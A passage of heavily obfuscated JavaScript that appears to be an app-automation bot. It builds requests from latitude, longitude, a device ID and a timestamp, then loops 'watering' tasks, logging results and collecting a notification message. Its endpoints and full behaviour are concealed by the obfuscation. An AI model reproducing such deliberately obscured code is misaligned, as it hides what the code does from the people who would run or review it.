_0x225834(_0x113944-0x4e4,_0x189836-0x135,_0xa3361e-0x126,_0xa3361e,_0x1f457c-0x118);}return _0x25ca97[_0x1d4703(0xf72,0x162b,'\x6e\x70\x4f\x48',0x1482,0xade)](_0x4fa33a,_0x24ad25,_0x13207b);},'\x4d\x41\x63\x41\x62':function(_0x2d2583,_0x22682e){function _0xe51d08(_0x274d9b,_0x151610,_0x501dcd,_0x5119f9,_0x5bd117){return _0x225834(_0x274d9b-0x4ed,_0x151610-0xad,_0x501dcd-0x126,_0x5119f9,_0x5bd117-0x1f);}return _0x25ca97[_0xe51d08(0x1533,0xee8,0x13f3,'\x5d\x5d\x4d\x42',0x1dee)](_0x2d2583,_0x22682e);},'\x6e\x61\x56\x67\x6b':function(_0x2a81d1,_0x4341fe){function _0x250c36(_0x4c1aad,_0xc5e275,_0x2a40fa,_0x5012e2,_0xc11f1c){return _0x225834(_0x4c1aad-0x2af,_0xc5e275-0x1ae,_0x2a40fa-0x1aa,_0x2a40fa,_0xc11f1c-0x38);}return _0x25ca97[_0x250c36(0x4d5,0x7f7,'\x62\x77\x6a\x54',0x9e2,0x47e)](_0x2a81d1,_0x4341fe);},'\x50\x56\x58\x58\x7a':function(_0x487225,_0x4c2475){function _0x1b3fdf(_0x3da991,_0x52a28e,_0x23a1a3,_0x3632ac,_0x2fd4e7){return _0x225834(_0x23a1a3-0x6e,_0x52a28e-0x97,_0x23a1a3-0x138,_0x52a28e,_0x2fd4e7-0x116);}return _0x25ca97[_0x1b3fdf(-0xc8,'\x78\x56\x67\x4f',0x4ef,0x590,0xc55)](_0x487225,_0x4c2475);},'\x66\x6c\x4c\x65\x69':function(_0x35b5ee,_0x5afa19){function _0x256dd0(_0x1207b2,_0xaa49f5,_0x75cac1,_0x5e4191,_0x72bcb0){return _0x225834(_0x1207b2-0x282,_0xaa49f5-0x1c7,_0x75cac1-0x10,_0x5e4191,_0x72bcb0-0x163);}return _0x25ca97[_0x256dd0(0x146c,0x11a8,0x1888,'\x53\x28\x21\x51',0xff8)](_0x35b5ee,_0x5afa19);},'\x69\x6e\x62\x6f\x77':_0x25ca97[_0x2f0a12(0xf2d,0x1508,0x14f4,0xef7,'\x24\x63\x6f\x37')],'\x42\x71\x72\x62\x45':_0x25ca97[_0x225834(0x1314,0x1205,0x1964,'\x57\x38\x4f\x70',0x1a5c)],'\x7a\x68\x7a\x70\x78':_0x25ca97[_0x21627a(0xae2,0x1a91,0x116e,0x18cd,'\x6b\x59\x6b\x44')],'\x76\x69\x4e\x72\x76':_0x25ca97[_0x2f0a12(0x3a5,0x829,0x24a,0x8c7,'\x32\x49\x5b\x49')],'\x50\x78\x5a\x73\x6e':_0x25ca97[_0x3ee79f('\x6e\x70\x4f\x48',0xf20,0x75d,0x92b,0xb64)],'\x51\x64\x44\x59\x44':_0x25ca97[_0x21627a(0x13a8,0x415,0xb5d,0xce7,'\x29\x52\x4b\x66')],'\x78\x52\x53\x6c\x62':_0x25ca97[_0x50d627(0xa9d,0x596,0x139c,0xee0,'\x29\x52\x4b\x66')],'\x5a\x61\x54\x71\x61':function(_0x13a3be,_0x5e9d63){function _0xfc9c18(_0x2af474,_0x56512e,_0x2b7281,_0x621623,_0x5ec846){return _0x3ee79f(_0x2af474,_0x56512e-0x73,_0x2b7281- -0xed,_0x621623-0x1a6,_0x5ec846-0x50);}return _0x25ca97[_0xfc9c18('\x47\x28\x51\x45',0x1f83,0x1725,0x1b53,0x197a)](_0x13a3be,_0x5e9d63);},'\x45\x55\x64\x43\x67':_0x25ca97[_0x2f0a12(0xc23,0x941,0x3bf,0xa11,'\x6b\x59\x6b\x44')],'\x72\x49\x4d\x63\x6e':_0x25ca97[_0x225834(0xea8,0x148c,0xef1,'\x6b\x59\x6b\x44',0x10fc)],'\x62\x4e\x66\x51\x47':_0x25ca97[_0x21627a(0x1471,0x1476,0xec4,0xf91,'\x4e\x54\x74\x26')],'\x65\x55\x42\x4c\x71':function(_0x43b768,_0x3b73cc){function _0x130eb2(_0xe498e0,_0x5f513f,_0xdbd8e0,_0x3409da,_0x505ae7){return _0x2f0a12(_0xe498e0-0x133,_0x5f513f-0x1e4,_0xdbd8e0-0x7a,_0x3409da-0x4e0,_0xdbd8e0);}return _0x25ca97[_0x130eb2(0x1235,0x1290,'\x75\x5d\x54\x4f',0xeaa,0xcfc)](_0x43b768,_0x3b73cc);},'\x77\x7a\x6a\x49\x65':function(_0x180e1c,_0x414c8b){function _0x4f9f18(_0x537a6d,_0x3d13c7,_0x3a0113,_0x1b099c,_0x318c5b){return _0x21627a(_0x537a6d-0x5d,_0x3d13c7-0x17a,_0x318c5b- -0x5a5,_0x1b099c-0x167,_0x3a0113);}return _0x25ca97[_0x4f9f18(0x10c9,0x1265,'\x57\x38\x4f\x70',0xc80,0x104a)](_0x180e1c,_0x414c8b);},'\x47\x6b\x49\x72\x43':function(_0x1ca8b1,_0x3e8b11){function _0x2efd34(_0x1600a6,_0x7792cd,_0x360046,_0x3d47b9,_0x37eb29){return _0x225834(_0x3d47b9-0x183,_0x7792cd-0x1d2,_0x360046-0x7a,_0x360046,_0x37eb29-0x77);}return _0x25ca97[_0x2efd34(-0x564,-0x3b6,'\x31\x5e\x34\x5a',0x32b,0x5df)](_0x1ca8b1,_0x3e8b11);},'\x4c\x74\x68\x4a\x68':function(_0xe83565,_0x394456){function _0x418cb7(_0x7679de,_0x2c4ea0,_0x5f23b6,_0x1fed68,_0xaf209c){return _0x50d627(_0x7679de-0x154,_0x2c4ea0-0x16,_0x5f23b6-0xb,_0x5f23b6-0x29e,_0x7679de);}return _0x25ca97[_0x418cb7('\x78\x56\x67\x4f',0x12c8,0xe07,0x10c3,0x596)](_0xe83565,_0x394456);},'\x68\x54\x55\x57\x59':function(_0x200881,_0x13dc4a){function _0x1f3475(_0xdfd52,_0x340660,_0x1dc1eb,_0x34dba2,_0x19d1ab){return _0x2f0a12(_0xdfd52-0x160,_0x340660-0x15f,_0x1dc1eb-0x11d,_0x34dba2-0x50d,_0x19d1ab);}return _0x25ca97[_0x1f3475(0x1980,0x19ae,0x1113,0x1407,'\x66\x66\x76\x75')](_0x200881,_0x13dc4a);},'\x79\x70\x6e\x65\x50':_0x25ca97[_0x21627a(0xe47,0x11f5,0xcef,0x148e,'\x52\x59\x64\x49')],'\x79\x55\x79\x49\x75':function(_0x249f41,_0x36c7f1){function _0x8effad(_0x3a7483,_0x3b4cfc,_0x254ad4,_0x1845e8,_0x18c040){return _0x21627a(_0x3a7483-0x169,_0x3b4cfc-0x50,_0x3b4cfc- -0x695,_0x1845e8-0x56,_0x254ad4);}return _0x25ca97[_0x8effad(0x9a2,0x250,'\x34\x62\x40\x70',0xa1d,0x4fd)](_0x249f41,_0x36c7f1);},'\x74\x67\x44\x43\x52':_0x25ca97[_0x2f0a12(0xad9,0x24f,-0x279,0x268,'\x76\x78\x62\x62')],'\x59\x43\x6c\x7a\x6c':_0x25ca97[_0x3ee79f('\x53\x41\x31\x35',0x4a8,0x73f,0x582,0xe9)],'\x45\x79\x4f\x71\x59':function(_0x2a91e0,_0x47716f){function _0x201901(_0x212abd,_0x224505,_0x233e3e,_0x3fee2e,_0x2a0a20){return _0x2f0a12(_0x212abd-0x64,_0x224505-0x116,_0x233e3e-0xc,_0x224505-0x176,_0x212abd);}return _0x25ca97[_0x201901('\x52\x7a\x58\x2a',0x1031,0x1938,0x1339,0x1471)](_0x2a91e0,_0x47716f);},'\x73\x43\x78\x5a\x4b':_0x25ca97[_0x21627a(0x1a1,0xeb3,0xa63,0x7ea,'\x34\x62\x40\x70')],'\x45\x76\x6f\x46\x75':_0x25ca97[_0x50d627(0xdfe,0x9e8,0xd08,0x4b2,'\x6b\x59\x6b\x44')],'\x42\x75\x47\x7a\x73':function(_0x3e5fa4,_0xb5dc79){function _0x3cf4b7(_0x22f733,_0x577055,_0xf8d094,_0x41e74d,_0x410599){return _0x3ee79f(_0xf8d094,_0x577055-0x90,_0x22f733- -0x60c,_0x41e74d-0x70,_0x410599-0x20);}return _0x25ca97[_0x3cf4b7(0xa1c,0x1183,'\x6b\x5e\x4e\x4d',0xef0,0xcbf)](_0x3e5fa4,_0xb5dc79);}};function _0x2f0a12(_0x3e3685,_0x249b51,_0x279cfc,_0x1105be,_0x360b4f){return _0x169e17(_0x360b4f,_0x249b51-0xf1,_0x1105be- -0x4dc,_0x1105be-0x161,_0x360b4f-0x145);}function _0x21627a(_0x15ea06,_0x6019f0,_0x4500de,_0x4d839a,_0x4f3b2b){return _0x1d2472(_0x15ea06-0x111,_0x6019f0-0x158,_0x4f3b2b,_0x4500de-0x3cf,_0x4f3b2b-0x190);}function _0x225834(_0x422143,_0x410071,_0x20d644,_0x2fe0be,_0x36f83f){return _0x140a16(_0x422143-0x97,_0x410071-0x1cc,_0x422143- -0x405,_0x2fe0be-0xf,_0x2fe0be);}function _0x50d627(_0x25c4e3,_0x171194,_0x1913df,_0x1bedec,_0x392720){return _0x169e17(_0x392720,_0x171194-0xc1,_0x1bedec- -0x3b9,_0x1bedec-0x116,_0x392720-0xd4);}if(_0x25ca97[_0x21627a(0x1a42,0x1f0f,0x1684,0x1681,'\x33\x2a\x64\x68')](_0x25ca97[_0x2f0a12(0x4c7,0xb03,0xdfb,0xbd4,'\x53\x78\x42\x55')],_0x25ca97[_0x21627a(0x8ed,0xa52,0x555,0x9ba,'\x78\x56\x67\x4f')]))try{if(_0x25ca97[_0x225834(0x1218,0x91f,0x1b5a,'\x4f\x4f\x25\x29',0xb91)](_0x25ca97[_0x21627a(0xda6,0x6ed,0x71c,0x3d6,'\x36\x70\x67\x64')],_0x25ca97[_0x50d627(-0x625,0x821,0x9d2,0x30f,'\x78\x56\x67\x4f')])){let _0x5d3a4b=Math[_0x3ee79f('\x77\x40\x43\x59',0xc0,0x8e3,0x7d3,0x60f)](new Date()),_0x41f337=_0x25ca97[_0x3ee79f('\x5d\x5d\x4d\x42',0x10b4,0x8ae,0x831,0x98e)](urlTask,_0x25ca97[_0x2f0a12(0x17ca,0x194e,0xdc1,0x11ac,'\x6d\x57\x5a\x29')](_0x25ca97[_0x225834(0x594,0x919,0x5ee,'\x52\x7a\x58\x2a',0x74a)](_0x25ca97[_0x21627a(0x3de,0x874,0x89e,0x1006,'\x66\x66\x76\x75')],_0x5d3a4b),_0x25ca97[_0x21627a(0xde4,0xcc9,0x1284,0x1ade,'\x6d\x5e\x6e\x43')]),_0x25ca97[_0x50d627(0x6a4,0x1aa,0x4af,0x64e,'\x24\x63\x6f\x37')](_0x25ca97[_0x3ee79f('\x41\x43\x59\x76',0x1584,0xde1,0x11f6,0x80d)](_0x25ca97[_0x2f0a12(-0x208,0x1fb,-0x3c,0x365,'\x34\x62\x40\x70')](_0x25ca97[_0x50d627(-0x22d,0x5d6,-0x33b,0x4b,'\x76\x78\x62\x62')](_0x25ca97[_0x225834(0x258,-0x36e,0x301,'\x63\x66\x74\x31',0x377)](_0x25ca97[_0x50d627(0xe17,0x47f,0x593,0xd99,'\x76\x78\x62\x62')](_0x25ca97[_0x50d627(0x11e5,0x1142,0x1596,0xce2,'\x57\x73\x5d\x21')](_0x25ca97[_0x3ee79f('\x4e\x54\x74\x26',0x1003,0x15cc,0x1a05,0x11dc)](_0x25ca97[_0x225834(0x4c1,0x4af,0xaa6,'\x32\x49\x5b\x49',0x2f7)](_0x25ca97[_0x2f0a12(-0x479,-0x69,0x80e,0x4bd,'\x4e\x54\x74\x26')](_0x25ca97[_0x2f0a12(0x41b,0x259,0xb9f,0xaf8,'\x47\x28\x51\x45')](_0x25ca97[_0x225834(0x6f4,0xeca,0xed1,'\x45\x33\x6b\x40',0x5ec)](_0x25ca97[_0x50d627(0x51d,0xf3a,0x1335,0xd9e,'\x73\x48\x6e\x6e')](_0x25ca97[_0x2f0a12(0xec3,0xe0d,0x1440,0x105a,'\x41\x43\x59\x76')](_0x25ca97[_0x225834(0x90,-0x61d,-0x82e,'\x47\x28\x51\x45',-0xa9)](_0x25ca97[_0x225834(0x525,0xcd8,0x4c1,'\x5a\x30\x31\x38',0x88b)](_0x25ca97[_0x21627a(0x196a,0x11f9,0x16e6,0x101f,'\x78\x56\x67\x4f')](_0x25ca97[_0x50d627(0x6d3,0x8b8,0x9bb,0xd7,'\x36\x70\x67\x64')],lat),_0x25ca97[_0x3ee79f('\x6d\x5e\x6e\x43',0x1564,0x1239,0x189b,0xcf3)]),lng),_0x25ca97[_0x21627a(0x1127,0x195c,0x108e,0x1903,'\x24\x63\x6f\x37')]),lat),_0x25ca97[_0x225834(0x8fc,0x11e3,0xed6,'\x47\x38\x4e\x52',0xda5)]),lng),_0x25ca97[_0x50d627(0xfee,0x12e7,0xcfe,0xd9c,'\x53\x41\x31\x35')]),deviceid),_0x5d3a4b),_0x25ca97[_0x2f0a12(0x958,0x629,0x153,0x5be,'\x6b\x5e\x4e\x4d')]),deviceid),_0x25ca97[_0x225834(0x10b3,0xb1a,0x15fb,'\x78\x56\x67\x4f',0x19dd)]),deviceid),_0x25ca97[_0x225834(0xa02,0x507,0xe02,'\x47\x28\x51\x45',0x6cd)]),_0x5d3a4b),_0x25ca97[_0x3ee79f('\x47\x38\x4e\x52',-0xfb,0x7e0,-0x41,0xcdd)])),_0x4a191a=-0x1*-0x1711+0x1fcf+0xb*-0x4fd,_0x347b47=0x200e+-0x1fd0+-0x3e;do{if(_0x25ca97[_0x21627a(0x125b,0x1d7,0x915,0xe0f,'\x6b\x5e\x4e\x4d')](_0x25ca97[_0x3ee79f('\x24\x63\x6f\x37',0x14a8,0x16c5,0x107e,0x1e78)],_0x25ca97[_0x2f0a12(0x901,0x452,0x47a,0x909,'\x35\x37\x26\x25')])){let _0x429732=_0x21f10[_0x50d627(-0x68d,-0x465,0x978,0x1f1,'\x78\x45\x43\x4d')](_0x50bceb,_0x21f10[_0x225834(0xd4c,0x15d5,0xfcb,'\x53\x41\x31\x35',0x9ee)](_0x21f10[_0x50d627(0x8c1,0x7d,-0x2e7,0x585,'\x76\x78\x62\x62')](_0x21f10[_0x3ee79f('\x32\x49\x5b\x49',0x562,0x6b5,0x391,0xf81)](_0x21f10[_0x50d627(0xe60,0x185f,0x12d4,0x116e,'\x5d\x78\x21\x39')](_0x21f10[_0x2f0a12(0xb8c,0xdc0,0x67d,0xe0a,'\x78\x56\x67\x4f')](_0x21f10[_0x3ee79f('\x36\x6c\x21\x41',0x8b2,0xa72,0x1067,0xb33)](_0x21f10[_0x225834(0x3af,-0x227,0x778,'\x52\x7a\x58\x2a',0xb35)](_0x21f10[_0x2f0a12(0x1cd,0x793,0xdd2,0x79b,'\x5d\x78\x21\x39')](_0x21f10[_0x2f0a12(0x1962,0x1015,0xb61,0x119c,'\x45\x33\x6b\x40')](_0x21f10[_0x21627a(0xeb4,0xdf5,0x8fe,0xd02,'\x53\x28\x21\x51')](_0x21f10[_0x225834(0xb3e,0x7cd,0x7cd,'\x47\x38\x4e\x52',0x4c2)](_0x21f10[_0x225834(0x1301,0xc6c,0xd96,'\x73\x48\x6e\x6e',0xb46)](_0x21f10[_0x225834(0x9f7,0xaac,0x17d,'\x35\x37\x26\x25',0x197)](_0x21f10[_0x3ee79f('\x53\x41\x31\x35',0x397,0x946,0x9ff,0x10ce)],_0x36a70a[_0x50d627(0x411,0x7d3,0x4cb,0x457,'\x78\x45\x43\x4d')](new _0x12e569())),_0x21f10[_0x3ee79f('\x34\x62\x40\x70',0xdc5,0x11d6,0x107a,0x1319)]),_0x2f6036),_0x21f10[_0x3ee79f('\x35\x37\x26\x25',0x15ca,0x155b,0x16a8,0x1535)]),_0x18783b),_0x21f10[_0x21627a(0x1275,0x1466,0x1547,0x1bb4,'\x78\x56\x67\x4f')]),_0x14a6e5),_0x21f10[_0x2f0a12(0xcf6,0xe8f,0x82a,0xcd4,'\x6b\x5e\x4e\x4d')]),_0x119dfa),_0x21f10[_0x225834(0x248,0xba0,0x1c8,'\x33\x2a\x64\x68',0x707)]),_0x182093),_0x21f10[_0x21627a(0xeef,0xa55,0x9f5,0x613,'\x66\x66\x76\x75')]),_0x388016),'');_0x413177[_0x225834(0x3f2,-0x3a5,-0x3e7,'\x63\x66\x74\x31',0x684)][_0x3ee79f('\x33\x2a\x64\x68',0xe1c,0x1416,0x11c9,0x176f)](_0x429732)[_0x225834(0x5ca,0x233,0xab0,'\x53\x41\x31\x35',0xc14)](_0x4811e8=>{function _0x342a7e(_0x2a553a,_0x3c5605,_0x11af6c,_0x183f50,_0x118820){return _0x21627a(_0x2a553a-0x13c,_0x3c5605-0x13d,_0x3c5605- -0x3bd,_0x183f50-0xbd,_0x183f50);}function _0x34b9af(_0x13fb2e,_0x32aa7f,_0x1588a0,_0x398f91,_0x4f5e8a){return _0x2f0a12(_0x13fb2e-0xf7,_0x32aa7f-0xf8,_0x1588a0-0xc2,_0x13fb2e- -0x9,_0x398f91);}let _0x591ba1=_0x4f2d94[_0x34b9af(0x8df,0x535,0x10b,'\x5d\x78\x21\x39',0x4db)](_0x4811e8[_0x34b9af(0x151,0x26a,0xa77,'\x31\x5e\x34\x5a',-0x1ea)]);_0x5bb42a[_0x12d1df(0x85f,0x82a,0x4ef,-0xb9,'\x6b\x5e\x4e\x4d')](_0x21f10[_0x34b9af(0x966,0xf73,0x13d,'\x53\x78\x42\x55',0x32)](_0x21f10[_0x2ecf27(0xb0f,0xe86,0xf36,'\x5d\x5d\x4d\x42',0x523)],_0x591ba1[_0x34b9af(-0xb5,0x35e,0x1f7,'\x47\x38\x4e\x52',-0x318)]));function _0x2ecf27(_0x290ebf,_0x14b2a3,_0x2f9c23,_0x26d5ab,_0x5eeb06){return _0x21627a(_0x290ebf-0x5e,_0x14b2a3-0xa4,_0x290ebf- -0x3f,_0x26d5ab-0xf4,_0x26d5ab);}function _0x12d1df(_0x518f53,_0x5a4cc2,_0x46f27b,_0x2ab987,_0x3633a4){return _0x50d627(_0x518f53-0x19d,_0x5a4cc2-0x97,_0x46f27b-0xf4,_0x5a4cc2-0x407,_0x3633a4);}function _0x318d8f(_0x3a19ce,_0xb6f947,_0x2f58e8,_0x8728b9,_0x157594){return _0x21627a(_0x3a19ce-0x11e,_0xb6f947-0x5,_0x3a19ce- -0x61b,_0x8728b9-0x13d,_0xb6f947);}_0x21f10[_0x2ecf27(0xa73,0xc40,0x117e,'\x36\x70\x67\x64',0x74b)](_0x3d9c00);});}else _0x347b47++,console[_0x3ee79f('\x6b\x5e\x4e\x4d',0x999,0x97f,0x9f9,0x6a5)](_0x25ca97[_0x50d627(0xa11,0xd23,0x151a,0xe2c,'\x36\x57\x6b\x69')](_0x25ca97[_0x50d627(0x51b,0x426,0x4df,0x29e,'\x33\x2a\x64\x68')](_0x25ca97[_0x225834(0xf3b,0x133e,0x17e3,'\x4e\x54\x74\x26',0x1623)],_0x347b47),_0x25ca97[_0x2f0a12(0x871,0xf7f,0x100f,0x7d8,'\x78\x45\x43\x4d')])),await $[_0x3ee79f('\x50\x21\x6c\x48',0x770,0x1001,0xff8,0x6be)][_0x3ee79f('\x62\x77\x6a\x54',0x1143,0xe7a,0xf90,0x165a)](_0x41f337)[_0x2f0a12(0x8fc,0xa6b,0xa75,0x3df,'\x31\x5e\x34\x5a')](_0x40b1d2=>{function _0x386020(_0x4349c1,_0x17db93,_0x48d1a6,_0x5c34db,_0x16170c){return _0x3ee79f(_0x16170c,_0x17db93-0x1e,_0x4349c1- -0x250,_0x5c34db-0x129,_0x16170c-0x61);}function _0x2a362d(_0x11fe2c,_0x5f0baf,_0x2a93e8,_0x38efe7,_0x5c1176){return _0x2f0a12(_0x11fe2c-0x7f,_0x5f0baf-0xb1,_0x2a93e8-0x5f,_0x38efe7-0x602,_0x5c1176);}function _0x423384(_0x4771b9,_0x195b33,_0x26dd33,_0x5075b2,_0xa4c889){return _0x21627a(_0x4771b9-0x34,_0x195b33-0x179,_0xa4c889- -0x656,_0x5075b2-0x125,_0x26dd33);}function _0x150fa4(_0x3cb722,_0x60607,_0x47c263,_0x373fb9,_0x387945){return _0x21627a(_0x3cb722-0x162,_0x60607-0x12,_0x3cb722- -0x5f9,_0x373fb9-0x1c9,_0x47c263);}function _0x302f1e(_0x323428,_0x559aeb,_0x2a4265,_0x1ff842,_0x129e5f){return _0x21627a(_0x323428-0xce,_0x559aeb-0x11f,_0x559aeb- -0x61b,_0x1ff842-0x1ef,_0x1ff842);}if(_0x21f10[_0x302f1e(0xe57,0xf85,0x76b,'\x29\x52\x4b\x66',0x1052)](_0x21f10[_0x386020(0x1513,0x16bc,0x1866,0x1a63,'\x45\x24\x6c\x69')],_0x21f10[_0x302f1e(0x10c5,0xbc2,0xc86,'\x24\x63\x6f\x37',0x1491)])){let _0xb83957=JSON[_0x302f1e(0xbf2,0x7a3,0x937,'\x24\x6e\x5d\x79',0x151)](_0x40b1d2[_0x423384(0xffb,0xc98,'\x32\x49\x5b\x49',0xd7e,0xa65)]);console[_0x2a362d(0xe40,0xa35,0xdd9,0xe47,'\x62\x77\x6a\x54')](_0x21f10[_0x386020(0x840,0x1089,0xc0b,0x5d3,'\x4f\x4f\x25\x29')](_0x21f10[_0x386020(0x7b3,0xca4,-0x177,0xc97,'\x53\x78\x42\x55')],_0xb83957[_0x150fa4(0xbc4,0x2c1,'\x31\x5e\x34\x5a',0x840,0x881)])),_0x4a191a=_0xb83957[_0x2a362d(0x18f2,0x1169,0xfc0,0x10b0,'\x66\x66\x76\x75')];if(_0x21f10[_0x386020(0x821,0x414,0xeb6,0xca3,'\x4a\x61\x70\x57')](_0xb83957[_0x302f1e(0x4b2,-0xb8,0x93,'\x76\x78\x62\x62',-0x39c)],-0xb*-0x369+0x17ea+-0x3d6d))waterTimes++;}else _0xd6c0ef[_0x386020(0xfb1,0xecb,0xc50,0x7e7,'\x6d\x57\x5a\x29')](_0x21f10[_0x150fa4(0x7fa,0xd5f,'\x35\x37\x26\x25',0xf54,0x21e)](_0x21f10[_0x386020(0x875,0x80a,0x922,0x7ac,'\x52\x7a\x58\x2a')](_0x21f10[_0x423384(-0x2c7,0x5fe,'\x52\x7a\x58\x2a',-0x2f9,0x362)](_0x21f10[_0x423384(0x764,0x97a,'\x52\x59\x64\x49',0x87f,0x1066)](_0x21f10[_0x423384(0x522,-0x64,'\x5d\x78\x21\x39',0xca5,0x378)],_0xd0a82e),'\u3011\x3a'),_0x48bbaa[_0x302f1e(0xbb2,0x366,0xa46,'\x36\x6c\x21\x41',-0x1ab)+'\x74'][_0x386020(0x12ba,0x11ff,0xb09,0xc71,'\x5d\x78\x21\x39')+_0x386020(0x89b,0x1033,0x73f,0xefb,'\x57\x73\x5d\x21')+_0x386020(0x122f,0xdfb,0x19c9,0x1ae5,'\x36\x6c\x21\x41')+_0x386020(0x5e1,-0x2b8,0xaee,0xbe4,'\x36\x70\x67\x64')][_0x150fa4(0xaaa,0x307,'\x5a\x30\x31\x38',0x10c0,0xd75)+_0x386020(0xa6b,0xf18,0x874,0x3a5,'\x5d\x5d\x4d\x42')]),_0x21f10[_0x423384(0x29a,0x3e9,'\x42\x23\x5e\x5b',0x67,0x4b)])),_0x4e0899[_0x386020(0x6c2,0x22d,0x9de,0x9a4,'\x5d\x78\x21\x39')+'\x79'](_0x21f10[_0x150fa4(0xc14,0x1212,'\x24\x6e\x5d\x79',0xc1a,0x683)],_0x21f10[_0x2a362d(0x1a9e,0x1ad7,0x1196,0x12a7,'\x34\x62\x40\x70')](_0x21f10[_0x386020(0x728,0x5a5,0x100c,0xd56,'\x36\x6c\x21\x41')]('\u3010',_0x524206),'\u3011'),_0x21f10[_0x150fa4(0xd2b,0x1477,'\x34\x62\x40\x70',0x1424,0x159e)](_0x21f10[_0x423384(0x579,0xd53,'\x65\x54\x72\x35',0x1031,0xcbd)](_0x21f10[_0x150fa4(0xf5d,0x14d4,'\x76\x25\x48\x64',0x826,0x177b)],_0x37ebde[_0x302f1e(0x11ee,0xf6f,0x11eb,'\x34\x62\x40\x70',0xb04)+'\x74'][_0x150fa4(0x73d,0x1e0,'\x66\x66\x76\x75',0xe21,0x101b)+_0x2a362d(0x48,0x10af,0x1049,0x7d0,'\x57\x38\x4f\x70')+_0x2a362d(0x44b,0x8ea,0xd91,0x928,'\x75\x5d\x54\x4f')+_0x423384(-0x456,0x9c7,'\x73\x48\x6e\x6e',0x4f2,0x340)][_0x386020(0x980,0x102a,0x9aa,0xfc4,'\x78\x56\x67\x4f')+_0x423384(-0x430,0x4cc,'\x5d\x78\x21\x39',-0x1ee,0x4b0)]),_0x21f10[_0x423384(0xba3,0x59,'\x5a\x30\x31\x38',0x120b,0x8bd)])),_0x174bfd[_0x302f1e(0x77d,0xc94,0x7f4,'\x76\x25\x48\x64',0xe33)][_0x386020(0xd94,0x1386,0xf77,0x105e,'\x36\x70\x67\x64')+'\x65']&&_0x21f10[_0x2a362d(0x17e0,0x13ce,0x1631,0x15b7,'\x4f\x4f\x25\x29')](_0x21f10[_0x150fa4(0x33c,0x162,'\x75\x5d\x54\x4f',0x1a6,0x1d9)](_0x21f10[_0x150fa4(0x24c,0xa99,'\x47\x38\x4e\x52',0x15,-0x3a8)]('',_0x4128c0),''),_0x21f10[_0x2a362d(0x1201,0x591,0x13ae,0xbaa,'\x77\x40\x43\x59')])&&(_0x471dcd+=_0x21f10[_0x302f1e(0x79,0x2f4,0xc12,'\x57\x38\x4f\x70',-0x372)](_0x21f10[_0x423384(-0x2d7,-0x50f,'\x76\x78\x62\x62',0x561,0x18b)](_0x21f10[_0x423384(0x853,0xf7e,'\x4e\x54\x74\x26',0x116b,0x9cb)](_0x21f10[_0x150fa4(0xf07,0xad6,'\x75\x5d\x54\x4f',0x159b,0x5b9)](_0x21f10[_0x302f1e(0x8f9,0xb63,0xb0a,'\x46\x6f\x5e\x6c',0xc3e)],_0x2b1993),_0x21f10[_0x386020(0x3d1,0x4f1,-0x50b,-0x134,'\x4f\x40\x44\x71')]),_0x4d481c[_0x150fa4(0x3be,0x539,'\x45\x24\x6c\x69',0xada,0x55d)+'\x74'][_0x386020(0x12ba,0x1358,0xf58,0x15d3,'\x5d\x78\x21\x39')+_0x423384(0x83e,-0x4f,'\x53\x78\x42\x55',0x4a1,0x488)+_0x302f1e(0x1443,0xb97,0x419,'\x4a\x61\x70\x57',0x1206)+_0x2a362d(0x5f9,0x1010,0x12e3,0xb30,'\x6d\x57\x5a\x29')][_0x150fa4(-0xfe,-0x2a1,'\x52\x59\x64\x49',0x693,0x105)+_0x302f1e(0x84a,0xf6e,0xb7b,'\x31\x5e\x34\x5a',0xd5f)]),_0x21f10[_0x386020(0x94d,0xc5c,0xe6f,0x109,'\x4f\x40\x44\x71')]));}),await $[_0x225834(0xf03,0x8c4,0x1695,'\x52\x7a\x58\x2a',0xb36)](0x877*-0x2+0x1*-0x145b+0x5f*0x6f);}while(_0x25ca97[_0x2f0a12(0x37d,0xf11,0x5bd,0x9a9,'\x6b\x5e\x4e\x4d')](_0x4a191a,-0x3b5+-0x9ba+0xd6f));_0x25ca97[_0x3ee79f('\x53\x41\x31\x35',0x4dd,0x814,-0x6e,0x1007)](_0x9ffc6);}else{var _0x5c9b02=_0x199a71[_0x3ee79f('\x4f\x4f\x25\x29',0xdcd,0x1249,0x10dd,0x1a82)](_0x3b78bc[_0x3ee79f('\x53\x28\x21\x51',0x1519,0xe9b,0xbe3,0xa29)]),_0x84b7f5='';_0x25ca97[_0x21627a(0x1202,0xb6d,0x1134,0x1399,'\x24\x6e\x5d\x79')](_0x5c9b02[_0x225834(0x425,0x524,0x8ba,'\x52\x59\x64\x49',0x11b)],-0xa6*-0x35+-0x753+-0x1b0b)?_0x84b7f5=_0x25ca97[_0x225834(0x8fd,0xf46,0x8c9,'\x31\x5e\x34\x5a',0xc8d)](_0x25ca97[_0x2f0a12(0xf0,0xadb,-0x641,0x305,'\x65\x54\x72\x35')](_0x5c9b02[_0x50d627(0x65f,0xca4,0x758,0xf67,'\x53\x78\x42\x55')],_0x25ca97[_0x3ee79f('\x42\x23\x5e\x5b',0x6d8,0xee1,0x134f,0xb69)]),_0x5c9b02[_0x225834(0x5b5,0xbef,0x3fc,'\x24\x6e\x5d\x79',-0x1d9)+'\x74'][_0x225834(0xc93,0x4e0,0x7a7,'\x6b\x5e\x4e\x4d',0x51d)+_0x21627a(0x1e79,0x1e1c,0x15b9,0x1dd2,'\x32\x49\x5b\x49')]):_0x84b7f5=_0x5c9b02[_0x21627a(0x1066,0x118c,0x1672,0x11f3,'\x78\x56\x67\x4f')],_0x5d4b31[_0x50d627(0xba2,0xdde,0x15f5,0xd98,'\x76\x78\x62\x62')](_0x25ca97[_0x21627a(0x1d0d,0x1dab,0x162d,0x15ba,'\x76\x25\x48\x64')](_0x25ca97[_0x225834(0x12ce,0xd41,0x1a3e,'\x36\x57\x6b\x69',0xebf)](_0x25ca97[_0x50d627(0x313,-0x612,0x16f,0x22f,'\x5d\x5d\x4d\x42')](_0x25ca97[_0x225834(0x25a,-0x2,0xacf,'\x32\x49\x5b\x49',0xb21)],_0x1f0955[_0x3ee79f('\x78\x45\x43\x4d',0x1dd9,0x1555,0x10ba,0x1410)+_0x50d627(0x6e,0xbc7,0x1cc,0x4cc,'\x41\x43\x59\x76')]),'\u3011\x3a'),_0x84b7f5));}}catch(_0x386603){if(_0x25ca97[_0x225834(0x38a,0x3c6,-0x3b6,'\x57\x73\x5d\x21',0x156)](_0x25ca97[_0x50d627(0x88e,0xc91,0x104f,0xad1,'\x78\x45\x43\x4d')],_0x25ca97[_0x21627a(0x984,0x131e,0xbf9,0x12bf,'\x47\x28\x51\x45')]))console[_0x2f0a12(-0x1b2,-0x408,0x387,0x160,'\x24\x63\x6f\x37')](_0x25ca97[_0x21627a(0x856,0x13c2,0x10ca,0x10ce,'\x